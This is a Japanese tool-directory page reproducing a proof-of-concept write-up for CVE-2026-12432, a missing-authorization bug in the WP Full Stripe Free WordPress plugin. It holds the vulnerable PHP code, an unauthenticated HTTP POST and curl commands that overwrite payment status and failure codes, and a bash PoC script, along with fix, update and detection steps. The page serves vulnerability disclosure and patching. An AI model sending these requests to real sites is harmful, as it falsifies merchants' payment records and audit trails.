Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
By-Poloss..-..CVE-2026-12432-PoC — WP Full Stripe Free <= 8.4.3 - Missing Authorization | Kitploit
ツール/GitHubGitHub/polosss/by-poloss..-..cve-2026-12432-poc
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingMisconfiguration
GitHubpolosss/by-poloss..-..cve-2026-12432-poc

By-Poloss..-..CVE-2026-12432-PoC

WP Full Stripe Free <= 8.4.3 - Missing Authorization

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
11ヶ月前未レビュー

CVE-2026-12432: WP Full Stripe Free <= 8.4.3 - 認可の欠如

概要

  • CVE ID: CVE-2026-12432
  • CVSS スコア: 5.3 (Medium)
  • CVSS ベクター: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
  • 影響を受けるバージョン: Stripe Payment Forms by WP Full Pay <= 8.4.3
  • 修正バージョン: >= 8.4.4
  • 公開日: 2026年6月26日
  • 最終更新日: 2026年6月27日
  • 研究者: Netwurm - VTDR e.V.i.G.

脆弱性の説明

WordPress用プラグインWP Full Stripe Freeは、バージョン8.4.3(およびそれ以前)において、AJAXアクションwpfs_update_failed_payment_statusを介して認可の欠如の脆弱性が存在します。

根本原因

脆弱なAJAXエンドポイントは、wp_ajax_ と wp_ajax_nopriv_ の両方のフックで登録されています。

root@kitploit:~
// wpfs-customer.php, Line 705-706
add_action( 'wp_ajax_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );
add_action( 'wp_ajax_nopriv_wpfs_update_failed_payment_status', [ $this, 'update_failed_payment_status' ] );

update_failed_payment_status() 関数(3835~3865行目)は以下を実行します:

  • ❌ 権限チェックなし(current_user_can() なし)
  • ❌ nonce検証なし(wp_verify_nonce() なし)
  • ❌ ログインチェックなし(is_user_logged_in() なし)

脆弱なコード

root@kitploit:~
// wpfs-customer.php, Line 3835-3865
function update_failed_payment_status() {
    try {
        $result = [];
        $failureCode = isset( $_POST['failureCode'] ) ? sanitize_text_field( $_POST['failureCode'] ) : null;
        $failureMessage = isset( $_POST['failureMessage'] ) ? sanitize_text_field( $_POST['failureMessage'] ) : null;
        $paymentIntentId = isset( $_POST['paymentIntentId'] ) ? sanitize_text_field( $_POST['paymentIntentId'] ) : null;

        $paymentIntent = $this->stripe->retrievePaymentIntent( $paymentIntentId );
        // ... 処理前に認証チェックなし ...

        $updateData = [
            'paid' => 0,
            'captured' => 0,
            'refunded' => 0
        ];

        // 攻撃者は制御可能な値で上書き可能
        if ( $lastCharge ) {
            $updateData['last_charge_status'] = $lastCharge->status;
            $updateData['failure_code'] = $lastCharge->failure_code;
            $updateData['failure_message'] = $lastCharge->failure_message;
        } else {
            $updateData['last_charge_status'] = 'failed';
            $updateData['failure_code'] = $failureCode;
            $updateData['failure_message'] = $failureMessage;
        }

        $this->db->updatePaymentByEventId( $paymentIntentId, $updateData );
        // ...
    }
}

攻撃ベクトル

前提条件

  • Payment Intent IDが既知であること(通常のStripeチェックアウト中にブラウザで露出)
  • 認証は不要

攻撃手順

  1. ターゲットの特定: WP Full Stripe Free <= 8.4.3 がインストールされたWordPressサイトを見つける
  2. Payment Intent IDの取得: Stripe.jsのチェックアウトフローまたは過去のトランザクションから抽出
  3. 悪意のあるリクエストの送信: 攻撃者が制御するパラメータを含むPOSTリクエストをadmin-ajax.phpに送信

HTTPリクエスト

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

action=wpfs_update_failed_payment_status&paymentIntentId=pi_XXXX&failureCode=ATTACKER_CODE&failureMessage=ATTACKER_MESSAGE

影響評価

影響領域深刻度説明
整合性Medium攻撃者が正常な支払いを失敗としてマーク可能
機密性なしデータ漏洩なし

具体的な影響

  1. 支払記録の改ざん: 支払いステータスを「支払い済み」から「失敗」に変更可能
  2. 偽の障害コード: 任意の障害コード/メッセージを注入可能
  3. ソーシャルエンジニアリング: 顧客を騙したり、正当な請求に異議を申し立てるのに悪用される可能性
  4. 監査証跡の破損: 業務記録が改ざんされる可能性

概念実証 (curl)

基本的な検出

root@kitploit:~
# エンドポイントが認証なしでアクセス可能かテスト
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_cve202612432" \
  -d "failureCode=TEST_CODE" \
  -d "failureMessage=TEST_MESSAGE"

# 期待されるレスポンス(脆弱な場合):
# {"success":false,"messageTitle":"Internal Error","message":"Invalid API Key provided...","exceptionMessage":"..."}

# 重要な指標は、エンドポイントが認証を要求せずに応答すること

完全なPoCスクリプト

root@kitploit:~
#!/bin/bash
TARGET="https://TARGET"

# 脆弱性の確認
echo "[*] Testing CVE-2026-12432..."

RESPONSE=$(curl -s -k -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test_123" \
  -d "failureCode=XSS" \
  -d "failureMessage=INJECTED")

if echo "$RESPONSE" | grep -q "success"; then
    echo "[+] VULNERABLE - Endpoint accessible without auth"
else
    echo "[-] Not vulnerable or error"
fi

修正方法

即時修正

wpfs-customer.php の3835行目に認可チェックを追加:

root@kitploit:~
function update_failed_payment_status() {
    // このチェックを追加
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized');
    }
    // ... 関数の残りの部分
}

推奨される修正(ベンダー推奨)

WP Full Stripe Free >= 8.4.4 にアップデート

root@kitploit:~
# WordPress管理画面から
ダッシュボード > プラグイン > WP Full Stripe > 更新

# WP-CLI経由
wp plugin update wp-full-stripe-free

# SSH経由
wp plugin update wp-full-stripe-free --version=8.4.4

検出

手動チェック

  1. WordPress管理画面でプラグインバージョンを確認
  2. wp-content/plugins/wp-full-stripe-free/includes/wpfs-customer.php を確認
  3. AJAXハンドラの前に current_user_can() が欠けているか確認

自動検出

root@kitploit:~
# 脆弱なバージョンがインストールされているか確認
curl -s https://TARGET/wp-content/plugins/wp-full-stripe-free/readme.txt | grep -i "Stable tag"

# AJAXエンドポイントのテスト
curl -s -k -X POST "https://TARGET/wp-admin/admin-ajax.php" \
  -d "action=wpfs_update_failed_payment_status" \
  -d "paymentIntentId=test" | grep -q "success" && echo "Potentially Vulnerable"

参考情報

  • Wordfence Intelligence
  • Plugin Trac
  • Patchstack Database

W.P.E.F

  • W.P.E.F Telegram チャンネル #1
  • W.P.E.F Telegram チャンネル #2 --

タイムライン

  • 2026年6月26日: 脆弱性が公開開示
  • 2026年6月27日: CVE-2026-12432 公開
  • 修正: >= 8.4.4 にアップデート
ツールをダウンロード
可用性Lowビジネス運用を妨害する可能性あり